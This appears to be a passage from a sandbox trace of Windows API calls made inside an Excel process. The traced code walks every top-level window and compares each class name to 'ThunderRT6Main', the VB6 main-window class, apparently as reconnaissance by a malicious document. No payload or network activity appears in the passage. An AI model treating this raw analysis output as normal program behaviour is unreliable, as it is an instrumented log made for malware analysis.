	[0081.497] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x0
	[0081.497] SetPropA (hWnd=0x202b0, lpString=0xc13a, hData=0x1) returned 1
	[0081.497] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0
	[0081.498] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0081.498] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0081.498] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0081.498] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.498] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0081.498] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0081.498] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0081.498] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0081.498] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.498] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0081.498] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0081.498] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0081.498] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0081.498] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0081.498] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0081.498] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.498] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704
	[0081.498] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0081.498] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0081.498] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0081.498] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.498] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.498] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.498] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0081.498] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0081.498] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0081.498] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0081.498] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.498] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.498] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.498] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0081.498] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0081.498] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0081.498] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0081.498] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.498] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.498] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.498] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0081.498] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0081.498] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0081.498] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0081.498] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.498] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.498] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.498] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0081.498] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0081.499] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0081.499] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10296
	[0081.499] GetClassNameA (in: hWnd=0x10296, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.499] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.499] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0081.499] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0081.499] GetClassNameA (in: hWnd=0x30214, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0081.499] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0081.499] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.499] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0081.499] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0081.499] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0081.499] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0081.499] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.499] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.499] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0081.499] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0081.499] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0081.499] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0081.499] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.499] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.499] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0081.499] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0081.499] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0081.499] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0081.499] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.499] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.499] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0081.499] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0081.499] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0081.499] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0081.499] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.499] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.499] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0081.499] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0081.499] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0081.499] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0081.499] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0081.499] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0081.499] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.499] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0081.499] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0081.499] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0081.499] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0081.500] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0081.500] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0081.500] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0081.500] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0081.500] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0081.500] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0081.500] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.500] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0081.500] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0081.500] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0081.500] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0081.500] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.500] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.500] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0081.500] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0081.500] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0081.500] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0081.500] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0081.500] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0081.500] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0081.500] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0081.500] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.500] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0081.500] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0081.500] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0081.500] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0081.500] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.500] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0081.500] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0081.500] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0081.500] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0081.500] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0081.500] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0081.500] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.500] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.500] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0081.500] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0081.500] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0081.500] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0081.500] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0081.500] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0081.501] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.501] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.501] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0081.501] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0081.501] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0081.501] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0081.501] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0081.501] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0081.501] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.501] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.501] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0081.501] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0081.501] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0081.501] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0081.501] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0081.501] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0081.501] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.501] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.501] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0081.501] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0081.501] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0081.501] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0081.501] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0081.501] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0081.501] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.501] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.501] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0081.501] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0081.501] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0081.501] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0081.501] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0081.501] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0081.501] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.501] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.501] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0081.501] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0081.501] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0081.502] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0081.502] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0081.502] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0081.502] GetClassNameA (in: hWnd=0x20182, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.502] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0081.502] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0081.502] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0081.502] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0081.502] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0081.502] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0081.502] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.502] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0081.502] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0081.502] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0081.502] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0081.502] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0081.502] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0081.502] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.502] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0081.502] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0081.502] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0081.502] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0081.502] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0081.502] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0081.502] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.502] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0081.502] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0081.502] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0081.502] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0081.502] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0081.502] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0081.503] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.503] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0081.503] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0081.503] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0081.503] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0081.503] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0081.503] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0081.503] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.503] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0081.503] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0081.503] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0081.503] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0081.503] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0081.503] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0081.503] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.503] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0081.503] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0081.503] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0081.503] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0081.503] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0081.503] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0081.503] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.503] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0081.503] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0081.503] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0081.503] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0081.503] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0081.503] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0081.503] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.503] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0081.503] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0081.503] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0081.503] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0081.503] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0081.503] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0081.504] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.504] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0081.504] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0081.504] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0081.504] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0081.504] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0081.504] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0081.504] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.504] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0081.504] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0081.504] GetClassNameA (in: hWnd=0x50118, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0081.504] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0081.504] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0081.504] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0081.504] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
